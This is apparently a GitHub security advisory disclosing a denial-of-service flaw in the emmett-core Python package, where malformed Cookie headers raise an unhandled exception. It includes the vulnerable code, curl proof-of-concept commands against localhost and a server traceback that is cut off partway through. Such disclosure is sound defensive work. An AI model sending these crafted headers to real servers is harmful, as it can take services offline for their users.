GitHub Security Advisory: GHSA-x6cr-mq53-cc76
Package: emmett-core (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-248: Uncaught Exception, CWE-703: Improper Check or Handling of Exceptional Conditions
Vulnerable versions: <= 1.3.10
Patched in: 1.3.11

Summary: Emmett-Core: Unhandled CookieError Exception Causing Denial of Service

Details:
### Summary
The `cookies` property in `emmett_core.http.wrappers.Request` does not handle 
`CookieError` exceptions when parsing malformed Cookie headers. This allows 
unauthenticated attackers to trigger HTTP 500 errors and cause denial of service.


### Details

**Location:** `emmett_core/http/wrappers/__init__.py` (line 64)

**Vulnerable Code:**
```python
@cachedprop
def cookies(self) -> SimpleCookie:
    cookies: SimpleCookie = SimpleCookie()
    for cookie in self.headers.get("cookie", "").split(";"):
        cookies.load(cookie)  # No exception handling
    return cookies
```

### PoC
Sending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.
```bash
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:/security=test"
Internal error
Time: 0.024363s
```
After the same error occurs several times, the server cannot process it normally.
```bash
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:(security=test"
Internal error
Time: 60.069334s

$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:security=test"
Internal error
Time: 60.074031s
```

This is server log.
```bash
[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:
Traceback (most recent call last):
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py", line 70, in dynamic_handler
    http = await self.router.dispatch(request, response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py", line 240, in dispatch
    return await match.dispatch(reqargs, response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 57, in dispatch
    await self._parallel_flow(self.flow_open)
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 17, in _parallel_flow
    raise task.exception()
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py", line 102, in open_request
    if self.cookie_name in self.current.request.cookies:
                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py", line 37, in __get__
    obj.__dict__[self.__name__] = rv = self.fget(obj)
                                       ~~~~~~~~~^^^^^
  File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py", line 64, in cookies
    cookies.load(cookie)
    ~~~~~~~~~~~~^^^^^^^^
  File "/usr/lib/python3.13/http/cookies.py", line 516, in load
    self.__parse_string(rawdata)
    ~~~~~~~~~~~~~~~~~~~^^^^^^^^^
  File "/usr/lib/python3.13/http/cookies.py", line 580, in __parse_string
    self.__set(key, rval, cval)
    ~~~~~~~~~~^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.13/http/cookies.py", line 472, in __set